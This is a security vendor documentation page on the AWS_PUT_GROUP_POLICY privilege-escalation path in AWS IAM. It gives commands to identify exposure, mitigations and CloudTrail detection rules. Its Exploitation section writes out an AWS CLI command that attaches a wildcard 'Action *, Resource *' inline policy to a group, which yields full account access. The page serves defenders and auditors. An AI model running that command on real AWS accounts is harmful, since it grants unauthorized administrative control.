> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_put_group_policy.md).

# AWS\_PUT\_GROUP\_POLICY

## Summary

|                            |                                          |
| -------------------------- | ---------------------------------------- |
| **Forestall ACL Alias**    | AWS\_PUT\_GROUP\_POLICY                  |
| **Edge Type**              | Attack Path                              |
| **Affected Object Types**  | IAM Users, IAM Roles, IAM Groups         |
| **Exploitation Certainty** | High                                     |
| **AWS IAM Action**         | `iam:PutGroupPolicy` on the target group |

## Description

A principal with `iam:PutGroupPolicy` can write or replace an inline policy on any IAM group. Every current and future member of that group inherits the new permissions right away. If the attacker is already in the group, this is direct self-escalation.

Inline policies written this way sit inside the group object. They don't show up in the group's managed policy list, so they are easy to miss.

The edge is `(Attacker:AWSUser|AWSRole|AWSGroup) -[AWS_PUT_GROUP_POLICY]-> (TargetGroup:AWSGroup)`.

There is no precondition. Any group in the account that matches the resource ARN pattern is a valid target. When the attacker belongs to that group, the policy applies to them too. Forestall ISPM flags that self-escalation path via Builtin query ID 35.

## Identification

```bash
# List principals with iam:PutGroupPolicy
aws iam get-account-authorization-details \
  --filter User Role Group LocalManagedPolicy AWSManagedPolicy \
  --query "UserDetailList[?AttachedManagedPolicies[?contains(PolicyName, 'PutGroupPolicy')]].[UserName]"

# Simulate privilege check
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:PutGroupPolicy \
  --resource-arns "arn:aws:iam::*:group/*"

# List existing inline policies on a group
aws iam list-group-policies --group-name <target-group>
aws iam get-group-policy --group-name <target-group> --policy-name <policy-name>
```

PowerShell (AWS Tools):

```powershell
Get-IAMGroupPolicyList -GroupName <target-group> | ForEach-Object {
    Get-IAMGroupPolicy -GroupName <target-group> -PolicyName $_
}
```

## Exploitation

```bash
# Write an inline policy to the target group. Every member inherits it.
aws iam put-group-policy \
  --group-name <target-group> \
  --policy-name Escalation \
  --policy-document '{
    "Version": "2012-10-17",
    "Statement": [{"Effect": "Allow", "Action": "*", "Resource": "*"}]
  }'
```

## Mitigation

* Restrict `iam:PutGroupPolicy` to dedicated IAM administrators. Deny it for everyone else.
* Use permission boundaries to cap what group members can inherit.
* Apply SCPs to block wildcard inline policies at the organization level.
* Audit group inline policies often. They don't appear in the managed policy list.
* Prefer managed policies over inline ones for central visibility.

## Detection

| CloudTrail Event | Description                                         | Key Fields                                                                                                            |
| ---------------- | --------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- |
| `PutGroupPolicy` | An inline policy was created or replaced on a group | `requestParameters.groupName`, `requestParameters.policyName`, `requestParameters.policyDocument`, `userIdentity.arn` |

Alert when `policyDocument` contains `"Action": "*"` or `"Resource": "*"`, or when the caller isn't an approved IAM admin.

## References

* [AWS IAM: PutGroupPolicy API](https://docs.aws.amazon.com/IAM/latest/APIReference/API_PutGroupPolicy.html)
* [Rhino Security Labs: AWS IAM Privilege Escalation Methods](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
* [AWS Security Best Practices: Inline vs Managed Policies](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#use-managed-policies)